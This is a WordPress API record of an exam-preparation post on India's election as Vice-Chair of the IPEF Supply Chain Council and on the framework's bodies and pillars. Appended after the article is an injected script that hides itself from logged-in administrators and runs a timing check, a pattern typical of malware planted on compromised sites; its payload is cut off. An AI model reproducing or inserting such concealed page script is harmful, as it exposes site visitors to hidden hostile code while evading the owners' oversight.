{"id":1236,"date":"2024-08-03T06:35:54","date_gmt":"2024-08-03T06:35:54","guid":{"rendered":"https:\/\/iasquest.com\/?p=1236"},"modified":"2026-02-11T19:14:44","modified_gmt":"2026-02-11T19:14:44","slug":"paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-paper-iii-general-studies-ii-governance-constitution-polity-social-jus","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-paper-iii-general-studies-ii-governance-constitution-polity-social-jus\/","title":{"rendered":"PAPER-IV General Studies-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management PAPER -III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Economy: Supply Chain Management<\/em> ,<\/strong><strong><em>Important International Institutions, agencies and fora &#8211; their Structure, Mandate<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>News:<\/em><\/strong><em> India elected as Vice-Chair of the Supply Chain Council<\/em><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#cc0c0c\"><strong>India has been recently elected as the Vice-Chair of the Supply Chain Council (SCC), one of the three key bodies established under the Indo-Pacific Economic Framework (IPEF). Discuss the role of supply chain council and also how it is strategically importance for India and the Region<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With its <strong><em>goal of strengthening supply chain resilience<\/em><\/strong> through increased member nation cooperation, this election is a <strong><em>significant step forward for both India and the Indo-Pacific region as a whole. <\/em><\/strong>The objective of the 14-member IPEF bloc, which is composed of countries like <strong><em>the US, Japan, Australia, and India<\/em><\/strong>, is to promote economic growth and stability in the region by working together on important issues like trade, labor rights, and supply chains.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Three bodies have been established by the IPEF<\/strong> to address various facets of economic cooperation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The Labor Rights Advisory Board (LRAB)<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It seeks to <strong><em>improve worker development and labor rights throughout the supply chains in the region<\/em><\/strong>.<\/li>\n\n\n\n<li>In order to guarantee the <strong><em>preservation of fair labor practices and consequently contribute to a sustainable and equitable economic environment, <\/em><\/strong>this board brings together members from labor unions, employers, and governments. This board is chaired by the United States, while the vice-chair is Fiji.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The Crisis Response Network (CRN)<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It gives its members a forum <strong><em>to plan joint emergency responses<\/em><\/strong> in the event of a supply chain breakdown.<\/li>\n\n\n\n<li>This network is intended to <strong><em>function as a crisis management tool and early warning system for impending dangers<\/em><\/strong> that may jeopardize the economic stability of the region.<\/li>\n\n\n\n<li>Japan and Korea have been chosen to serve as this network&#8217;s vice-chair and chair, respectively.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Supply Chain Council<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>One of the main pillars of the IPEF is the Supply Chain Council, which is <em>dedicated to tackling supply chain vulnerabilities and building resilience<\/em> throughout the area.<\/li>\n\n\n\n<li>The <strong><em>council is responsible for pursuing focused, practical projects that strengthen supply chains for industries<\/em><\/strong> that are thought to be essential to public health, economic growth, and national security.<\/li>\n\n\n\n<li>This project is especially important in view of the disruptions to the global supply chain that have brought attention to the necessity for concerted <strong><em>international action to maintain economic stability<\/em><\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Significance of India and the region:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The elevation of India to the Vice-Chair position in the SCC highlights the country&#8217;s <strong><em>increasing sway and prominence in regional economic matters.<\/em><\/strong><\/li>\n\n\n\n<li>India is able to <em>actively participate in the development of policies that would lessen supply chain vulnerabilities<\/em> because to its role, especially in <strong><em>vital industries like manufacturing, technology, and medicines<\/em><\/strong>.<\/li>\n\n\n\n<li>India and its IPEF partners <strong><em>want to create more adaptable and robust supply chains that may survive future upheavals <\/em><\/strong>by concentrating on diversifying supply sources and fostering regional cooperation.<\/li>\n\n\n\n<li>The election is also consistent with India&#8217;s overall economic policy, which <em>aims to increase its participation in international supply chains, diversify its trade partnerships, and lessen its reliance on a single nation for vital imports.<\/em><\/li>\n\n\n\n<li>Disruptions in global supply networks can have far-reaching effects, affecting everything from manufacturing to food security, as the world has recently seen. Thus, the <strong><em>SCC&#8217;s efforts will be essential to reducing these risks and guaranteeing the region&#8217;s continued economic security<\/em><\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Implications of IPEF:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>An alliance of <strong>14 nations<\/strong>, including <strong><em>Australia, Brunei, Fiji, India, Indonesia, Japan, Korea, Malaysia, New Zealand, the Philippines, Singapore, Thailand, Vietnam, and the United States,<\/em><\/strong> the IPEF was introduced in Tokyo on May 23, 2022.<\/li>\n\n\n\n<li>With the <em>ultimate objective of promoting growth, economic stability, and prosperity, the framework is intended to strengthen economic participation and cooperation in the Indo-Pacific area<\/em>.<\/li>\n\n\n\n<li>The IPEF is structured around <strong>four pillars<\/strong>:<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Trade (Pillar I)<\/li>\n\n\n\n<li>Supply Chain Resilience (Pillar II)<\/li>\n\n\n\n<li>Clean Economy (Pillar III)<\/li>\n\n\n\n<li>Fair Economy (Pillar IV)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">India has made the decision to remain an observer in Pillar I, which is associated with trade, but to actively engage in Pillars II, III, and IV. <em>India&#8217;s strategic aims and its dedication to tackling the most urgent economic issues in the area are reflected in this chosen involvement<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reference:<\/strong> <a href=\"https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2039370\" target=\"_blank\" rel=\"noopener\">https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2039370<\/a>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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